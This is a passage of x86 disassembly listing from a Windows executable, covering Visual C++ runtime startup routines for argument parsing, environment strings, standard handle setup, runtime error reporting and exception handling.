call sub_415DC9
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41C93F
push 8
call sub_417BEE
pop ecx
loc_41C93F: ; CODE XREF: sub_41C8D3+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41C96C
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_4694B4, esi
pop edi
pop esi
mov dword_4694B0, eax
pop ebx
leave
retn
sub_41C8D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C96C proc near ; CODE XREF: sub_41C8D3+47p
; sub_41C8D3+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41C996
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41C996: ; CODE XREF: sub_41C96C+20j
cmp byte ptr [eax], 22h
jnz short loc_41C9DF
loc_41C99B: ; CODE XREF: sub_41C96C+58j
; sub_41C96C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41C9CD
test dl, dl
jz short loc_41C9CD
movzx edx, dl
test byte_46A9E1[edx], 4
jz short loc_41C9C0
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9C0
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41C9C0: ; CODE XREF: sub_41C96C+46j
; sub_41C96C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41C99B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41C99B
; ---------------------------------------------------------------------------
loc_41C9CD: ; CODE XREF: sub_41C96C+36j
; sub_41C96C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9D7
and byte ptr [esi], 0
inc esi
loc_41C9D7: ; CODE XREF: sub_41C96C+65j
cmp byte ptr [eax], 22h
jnz short loc_41CA22
inc eax
jmp short loc_41CA22
; ---------------------------------------------------------------------------
loc_41C9DF: ; CODE XREF: sub_41C96C+2Dj
; sub_41C96C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41C9EA
mov dl, [eax]
mov [esi], dl
inc esi
loc_41C9EA: ; CODE XREF: sub_41C96C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_46A9E1[ebx], 4
jz short loc_41CA05
inc dword ptr [ecx]
test esi, esi
jz short loc_41CA04
mov bl, [eax]
mov [esi], bl
inc esi
loc_41CA04: ; CODE XREF: sub_41C96C+91j
inc eax
loc_41CA05: ; CODE XREF: sub_41C96C+8Bj
cmp dl, 20h
jz short loc_41CA13
test dl, dl
jz short loc_41CA17
cmp dl, 9
jnz short loc_41C9DF
loc_41CA13: ; CODE XREF: sub_41C96C+9Cj
test dl, dl
jnz short loc_41CA1A
loc_41CA17: ; CODE XREF: sub_41C96C+A0j
dec eax
jmp short loc_41CA22
; ---------------------------------------------------------------------------
loc_41CA1A: ; CODE XREF: sub_41C96C+A9j
test esi, esi
jz short loc_41CA22
and byte ptr [esi-1], 0
loc_41CA22: ; CODE XREF: sub_41C96C+6Ej
; sub_41C96C+71j ...
and [ebp+arg_10], 0
loc_41CA26: ; CODE XREF: sub_41C96C+19Ej
cmp byte ptr [eax], 0
jz loc_41CB0F
loc_41CA2F: ; CODE XREF: sub_41C96C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41CA3B
cmp dl, 9
jnz short loc_41CA3E
loc_41CA3B: ; CODE XREF: sub_41C96C+C8j
inc eax
jmp short loc_41CA2F
; ---------------------------------------------------------------------------
loc_41CA3E: ; CODE XREF: sub_41C96C+CDj
cmp byte ptr [eax], 0
jz loc_41CB0F
test edi, edi
jz short loc_41CA53
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41CA53: ; CODE XREF: sub_41C96C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41CA58: ; CODE XREF: sub_41C96C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41CA61: ; CODE XREF: sub_41C96C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41CA6A
inc eax
inc ebx
jmp short loc_41CA61
; ---------------------------------------------------------------------------
loc_41CA6A: ; CODE XREF: sub_41C96C+F8j
cmp byte ptr [eax], 22h
jnz short loc_41CA9B
test bl, 1
jnz short loc_41CA99
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41CA88
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41CA88
mov eax, edx
jmp short loc_41CA8B
; ---------------------------------------------------------------------------
loc_41CA88: ; CODE XREF: sub_41C96C+10Dj
; sub_41C96C+116j
mov [ebp+arg_0], edi
loc_41CA8B: ; CODE XREF: sub_41C96C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41CA99: ; CODE XREF: sub_41C96C+106j
shr ebx, 1
loc_41CA9B: ; CODE XREF: sub_41C96C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41CAB0
inc ebx
loc_41CAA3: ; CODE XREF: sub_41C96C+142j
test esi, esi
jz short loc_41CAAB
mov byte ptr [esi], 5Ch
inc esi
loc_41CAAB: ; CODE XREF: sub_41C96C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41CAA3
loc_41CAB0: ; CODE XREF: sub_41C96C+134j
mov dl, [eax]
test dl, dl
jz short loc_41CB00
cmp [ebp+arg_10], 0
jnz short loc_41CAC6
cmp dl, 20h
jz short loc_41CB00
cmp dl, 9
jz short loc_41CB00
loc_41CAC6: ; CODE XREF: sub_41C96C+14Ej
cmp [ebp+arg_0], 0
jz short loc_41CAFA
test esi, esi
jz short loc_41CAE9
movzx ebx, dl
test byte_46A9E1[ebx], 4
jz short loc_41CAE2
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41CAE2: ; CODE XREF: sub_41C96C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41CAF8
; ---------------------------------------------------------------------------
loc_41CAE9: ; CODE XREF: sub_41C96C+162j
movzx edx, dl
test byte_46A9E1[edx], 4
jz short loc_41CAF8
inc eax
inc dword ptr [ecx]
loc_41CAF8: ; CODE XREF: sub_41C96C+17Bj
; sub_41C96C+187j
inc dword ptr [ecx]
loc_41CAFA: ; CODE XREF: sub_41C96C+15Ej
inc eax
jmp loc_41CA58
; ---------------------------------------------------------------------------
loc_41CB00: ; CODE XREF: sub_41C96C+148j
; sub_41C96C+153j ...
test esi, esi
jz short loc_41CB08
and byte ptr [esi], 0
inc esi
loc_41CB08: ; CODE XREF: sub_41C96C+196j
inc dword ptr [ecx]
jmp loc_41CA26
; ---------------------------------------------------------------------------
loc_41CB0F: ; CODE XREF: sub_41C96C+BDj
; sub_41C96C+D5j
test edi, edi
jz short loc_41CB16
and dword ptr [edi], 0
loc_41CB16: ; CODE XREF: sub_41C96C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41C96C endp
; =============== S U B R O U T I N E =======================================
sub_41CB20 proc near ; CODE XREF: sub_417AF8+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_46964C
push ebx
push ebp
mov ebp, dword_42103C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41CB6E
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_41CB4F
mov dword_46964C, 1
jmp short loc_41CB77
; ---------------------------------------------------------------------------
loc_41CB4F: ; CODE XREF: sub_41CB20+21j
call dword_421040 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_41CC49
mov dword_46964C, 2
jmp loc_41CBFD
; ---------------------------------------------------------------------------
loc_41CB6E: ; CODE XREF: sub_41CB20+19j
cmp eax, 1
jnz loc_41CBF8
loc_41CB77: ; CODE XREF: sub_41CB20+2Dj
cmp esi, ebx
jnz short loc_41CB87
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_41CC49
loc_41CB87: ; CODE XREF: sub_41CB20+59j
cmp [esi], bx
mov eax, esi
jz short loc_41CB9C
loc_41CB8E: ; CODE XREF: sub_41CB20+73j
; sub_41CB20+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_41CB8E
inc eax
inc eax
cmp [eax], bx
jnz short loc_41CB8E
loc_41CB9C: ; CODE XREF: sub_41CB20+6Cj
sub eax, esi
mov edi, dword_421138
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_41CBED
push ebp
call sub_415DC9
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_41CBED
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_41CBE9
push [esp+18h+var_8]
call sub_415E3D
pop ecx
mov [esp+18h+var_8], ebx
loc_41CBE9: ; CODE XREF: sub_41CB20+B9j
mov ebx, [esp+18h+var_8]
loc_41CBED: ; CODE XREF: sub_41CB20+99j
; sub_41CB20+A8j
push esi
call dword_421044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_41CC4B
; ---------------------------------------------------------------------------
loc_41CBF8: ; CODE XREF: sub_41CB20+51j
cmp eax, 2
jnz short loc_41CC49
loc_41CBFD: ; CODE XREF: sub_41CB20+49j
cmp edi, ebx
jnz short loc_41CC0D
call dword_421040 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_41CC49
loc_41CC0D: ; CODE XREF: sub_41CB20+DFj
cmp [edi], bl
mov eax, edi
jz short loc_41CC1D
loc_41CC13: ; CODE XREF: sub_41CB20+F6j
; sub_41CB20+FBj
inc eax
cmp [eax], bl
jnz short loc_41CC13
inc eax
cmp [eax], bl
jnz short loc_41CC13
loc_41CC1D: ; CODE XREF: sub_41CB20+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_415DC9
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41CC33
xor esi, esi
jmp short loc_41CC3E
; ---------------------------------------------------------------------------
loc_41CC33: ; CODE XREF: sub_41CB20+10Dj
push ebp
push edi
push esi
call sub_4155D0
add esp, 0Ch
loc_41CC3E: ; CODE XREF: sub_41CB20+111j
push edi
call dword_4211A4 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_41CC4B
; ---------------------------------------------------------------------------
loc_41CC49: ; CODE XREF: sub_41CB20+39j
; sub_41CB20+61j ...
xor eax, eax
loc_41CC4B: ; CODE XREF: sub_41CB20+D6j
; sub_41CB20+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_41CB20 endp
; =============== S U B R O U T I N E =======================================
sub_41CC52 proc near ; CODE XREF: sub_417AF8+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_415DC9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41CC72
push 1Bh
call sub_417BEE
pop ecx
loc_41CC72: ; CODE XREF: sub_41CC52+16j
mov dword_46A7C0, esi
mov dword_46A8C0, 20h
lea eax, [esi+100h]
loc_41CC88: ; CODE XREF: sub_41CC52+52j
cmp esi, eax
jnb short loc_41CCA6
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_46A7C0
add esi, 8
add eax, 100h
jmp short loc_41CC88
; ---------------------------------------------------------------------------
loc_41CCA6: ; CODE XREF: sub_41CC52+38j
lea eax, [esp+54h+var_44]
push eax
call dword_421164 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_41CD82
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_41CD82
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41CCDC
mov esi, eax
loc_41CCDC: ; CODE XREF: sub_41CC52+86j
cmp dword_46A8C0, esi
jge short loc_41CD36
mov edi, offset dword_46A7C4
loc_41CCE9: ; CODE XREF: sub_41CC52+DAj
push 100h
call sub_415DC9
test eax, eax
pop ecx
jz short loc_41CD30
add dword_46A8C0, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41CD07: ; CODE XREF: sub_41CC52+CFj
cmp eax, ecx
jnb short loc_41CD23
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41CD07
; ---------------------------------------------------------------------------
loc_41CD23: ; CODE XREF: sub_41CC52+B7j
add edi, 4
cmp dword_46A8C0, esi
jl short loc_41CCE9
jmp short loc_41CD36
; ---------------------------------------------------------------------------
loc_41CD30: ; CODE XREF: sub_41CC52+A4j
mov esi, dword_46A8C0
loc_41CD36: ; CODE XREF: sub_41CC52+90j
; sub_41CC52+DCj
xor edi, edi
test esi, esi
jle short loc_41CD82
loc_41CD3C: ; CODE XREF: sub_41CC52+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41CD79
mov cl, [ebp+0]
test cl, 1
jz short loc_41CD79
test cl, 8
jnz short loc_41CD5B
push eax
call dword_421030 ; GetFileType
test eax, eax
jz short loc_41CD79
loc_41CD5B: ; CODE XREF: sub_41CC52+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_46A7C0[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41CD79: ; CODE XREF: sub_41CC52+EFj
; sub_41CC52+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41CD3C
loc_41CD82: ; CODE XREF: sub_41CC52+65j
; sub_41CC52+71j ...
xor ebx, ebx
loc_41CD84: ; CODE XREF: sub_41CC52+195j
mov eax, dword_46A7C0
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41CDDF
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41CD9F
push 0FFFFFFF6h
pop eax
jmp short loc_41CDA9
; ---------------------------------------------------------------------------
loc_41CD9F: ; CODE XREF: sub_41CC52+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41CDA9: ; CODE XREF: sub_41CC52+14Bj
push eax
call dword_421034 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41CDCE
push edi
call dword_421030 ; GetFileType
test eax, eax
jz short loc_41CDCE
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41CDD4
loc_41CDCE: ; CODE XREF: sub_41CC52+163j
; sub_41CC52+16Ej
or byte ptr [esi+4], 40h
jmp short loc_41CDE3
; ---------------------------------------------------------------------------
loc_41CDD4: ; CODE XREF: sub_41CC52+17Aj
cmp eax, 3
jnz short loc_41CDE3
or byte ptr [esi+4], 8
jmp short loc_41CDE3
; ---------------------------------------------------------------------------
loc_41CDDF: ; CODE XREF: sub_41CC52+13Ej
or byte ptr [esi+4], 80h
loc_41CDE3: ; CODE XREF: sub_41CC52+180j
; sub_41CC52+185j ...
inc ebx
cmp ebx, 3
jl short loc_41CD84
push dword_46A8C0
call dword_421038 ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_41CC52 endp
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE08 proc near ; DATA XREF: sub_417AF8+Ao
; sub_41A69A+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41CEA8
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41CE3B: ; CODE XREF: sub_41CE08+90j
cmp esi, 0FFFFFFFFh
jz short loc_41CEA1
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41CE8F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41CE8F
js short loc_41CE9A
mov edi, [ebx+8]
push ebx
call sub_416368
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4163AA
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41643E
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41CE8F: ; CODE XREF: sub_41CE08+40j
; sub_41CE08+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41CE3B
; ---------------------------------------------------------------------------
loc_41CE9A: ; CODE XREF: sub_41CE08+54j
mov eax, 0
jmp short loc_41CEBD
; ---------------------------------------------------------------------------
loc_41CEA1: ; CODE XREF: sub_41CE08+36j
mov eax, 1
jmp short loc_41CEBD
; ---------------------------------------------------------------------------
loc_41CEA8: ; CODE XREF: sub_41CE08+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4163AA
add esp, 8
pop ebp
mov eax, 1
loc_41CEBD: ; CODE XREF: sub_41CE08+97j
; sub_41CE08+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CE08 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4163AA
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41CEE0 proc near ; CODE XREF: sub_417BEE+9p
; sub_417C13+9p
mov eax, dword_4694E8
cmp eax, 1
jz short loc_41CEF7
test eax, eax
jnz short locret_41CF18
cmp dword_437D64, 1
jnz short locret_41CF18
loc_41CEF7: ; CODE XREF: sub_41CEE0+8j
push 0FCh
call sub_41CF19
mov eax, dword_469650
pop ecx
test eax, eax
jz short loc_41CF0D
call eax
loc_41CF0D: ; CODE XREF: sub_41CEE0+29j
push 0FFh
call sub_41CF19
pop ecx
locret_41CF18: ; CODE XREF: sub_41CEE0+Cj
; sub_41CEE0+15j
retn
sub_41CEE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CF19 proc near ; CODE XREF: sub_417BEE+12p
; sub_417C13+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_4383D8
loc_41CF2C: ; CODE XREF: sub_41CF19+20j
cmp edx, [eax]
jz short loc_41CF3B
add eax, 8
inc ecx
cmp eax, offset off_438468
jl short loc_41CF2C
loc_41CF3B: ; CODE XREF: sub_41CF19+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_4383D8[esi]
jnz loc_41D069
mov eax, dword_4694E8
cmp eax, 1
jz loc_41D043
test eax, eax
jnz short loc_41CF6C
cmp dword_437D64, 1
jz loc_41D043
loc_41CF6C: ; CODE XREF: sub_41CF19+44j
cmp edx, 0FCh
jz loc_41D069
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_42107C ; GetModuleFileNameA
test eax, eax
jnz short loc_41CFA3
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_415C00
pop ecx
pop ecx
loc_41CFA3: ; CODE XREF: sub_41CF19+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_415CF0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41CFE6
lea eax, [ebp+var_1A4]
push eax
call sub_415CF0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_416D40
add esp, 10h
loc_41CFE6: ; CODE XREF: sub_41CF19+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_415C00
lea eax, [ebp+var_A0]
push edi
push eax
call sub_415C10
lea eax, [ebp+var_A0]
push offset asc_421B40 ; "\n\n"
push eax
call sub_415C10
push off_4383DC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_415C10
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_41E6EE
add esp, 2Ch
pop edi
jmp short loc_41D069
; ---------------------------------------------------------------------------
loc_41D043: ; CODE XREF: sub_41CF19+3Cj
; sub_41CF19+4Dj
lea eax, [ebp+arg_0]
lea esi, off_4383DC[esi]
push 0
push eax
push dword ptr [esi]
call sub_415CF0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_421034 ; GetStdHandle
push eax
call dword_421070 ; WriteFile
loc_41D069: ; CODE XREF: sub_41CF19+2Ej
; sub_41CF19+59j ...
pop esi
leave
retn
sub_41CF19 endp
; =============== S U B R O U T I N E =======================================
sub_41D06C proc near ; CODE XREF: sub_417C37+6Cp
; sub_41B8B0+32p ...
arg_0 = dword ptr 4
inc dword_469654
push 1000h
call sub_415DC9
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41D095
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41D0A6
; ---------------------------------------------------------------------------
loc_41D095: ; CODE XREF: sub_41D06C+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41D0A6: ; CODE XREF: sub_41D06C+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41D06C endp
; =============== S U B R O U T I N E =======================================
sub_41D0B0 proc near ; CODE XREF: sub_417C37+61p
; sub_4187B6+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_46A8C0
jb short loc_41D0BF
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41D0BF: ; CODE XREF: sub_41D0B0+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46A7C0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41D0B0 endp
; =============== S U B R O U T I N E =======================================
sub_41D0D6 proc near ; DATA XREF: .nsp0:00423020o
mov eax, dword_46A7A0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41D0EA
mov eax, 200h
jmp short loc_41D0F0
; ---------------------------------------------------------------------------
loc_41D0EA: ; CODE XREF: sub_41D0D6+Bj
cmp eax, esi
jge short loc_41D0F5
mov eax, esi
loc_41D0F0: ; CODE XREF: sub_41D0D6+12j
mov dword_46A7A0, eax
loc_41D0F5: ; CODE XREF: sub_41D0D6+16j
push 4
push eax
call sub_41E777
pop ecx
mov dword_469780, eax
test eax, eax
pop ecx
jnz short loc_41D129
push 4
push esi
mov dword_46A7A0, esi
call sub_41E777
pop ecx
mov dword_469780, eax
test eax, eax
pop ecx
jnz short loc_41D129
push 1Ah
call sub_417BEE
pop ecx
loc_41D129: ; CODE XREF: sub_41D0D6+30j
; sub_41D0D6+49j
xor ecx, ecx
mov eax, offset off_438468
loc_41D130: ; CODE XREF: sub_41D0D6+6Ej
mov edx, dword_469780
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_4386E8
jl short loc_41D130
xor edx, edx
mov ecx, offset dword_438478
loc_41D14D: ; CODE XREF: sub_41D0D6+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_46A7C0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41D16A
test eax, eax
jnz short loc_41D16D
loc_41D16A: ; CODE XREF: sub_41D0D6+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41D16D: ; CODE XREF: sub_41D0D6+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_4384D8
jl short loc_41D14D
pop esi
retn
sub_41D0D6 endp
; =============== S U B R O U T I N E =======================================
sub_41D17B proc near ; DATA XREF: .nsp0:00423030o
; FUNCTION CHUNK AT 0041E7F4 SIZE 00000058 BYTES
call sub_418740
cmp byte_4694D4, 0
jz short locret_41D18E
jmp loc_41E7F4
; ---------------------------------------------------------------------------
locret_41D18E: ; CODE XREF: sub_41D17B+Cj
retn
sub_41D17B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D18F proc near ; CODE XREF: sub_417D4C+2D4p
; sub_417D4C+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41D19B
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D19B: ; CODE XREF: sub_41D18F+8j
cmp dword_469528, 0
jnz short loc_41D1B6
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41D1E8
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D1B6: ; CODE XREF: sub_41D18F+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_437F7C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_469538
call dword_421138 ; WideCharToMultiByte
test eax, eax
jz short loc_41D1E8
cmp [ebp+arg_0], 0
jz short loc_41D1F5
loc_41D1E8: ; CODE XREF: sub_41D18F+1Ej
; sub_41D18F+51j
mov dword_469494, 2Ah
or eax, 0FFFFFFFFh
loc_41D1F5: ; CODE XREF: sub_41D18F+57j
pop ebp
retn
sub_41D18F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1F7 proc near ; CODE XREF: sub_418556+5Ep
; sub_41C1FF+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421B80
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_469658
xor ebx, ebx
cmp eax, ebx
jnz short loc_41D266
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_421870
push esi
call dword_421028 ; GetStringTypeW
test eax, eax
jz short loc_41D244
mov eax, esi
jmp short loc_41D261
; ---------------------------------------------------------------------------
loc_41D244: ; CODE XREF: sub_41D1F7+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_438FD4
push esi
push ebx
call dword_42102C ; GetStringTypeA
test eax, eax
jz loc_41D32C
push 2
pop eax
loc_41D261: ; CODE XREF: sub_41D1F7+4Bj
mov dword_469658, eax
loc_41D266: ; CODE XREF: sub_41D1F7+2Fj
cmp eax, 2
jnz short loc_41D28F
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_41D277
mov eax, dword_469528
loc_41D277: ; CODE XREF: sub_41D1F7+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_42102C ; GetStringTypeA
jmp loc_41D32E
; ---------------------------------------------------------------------------
loc_41D28F: ; CODE XREF: sub_41D1F7+72j
cmp eax, 1
jnz loc_41D32C
cmp [ebp+arg_10], ebx
jnz short loc_41D2A5
mov eax, dword_469538
mov [ebp+arg_10], eax
loc_41D2A5: ; CODE XREF: sub_41D1F7+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_421064 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41D32C
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_415D70
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_415570
add esp, 0Ch
jmp short loc_41D2FB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
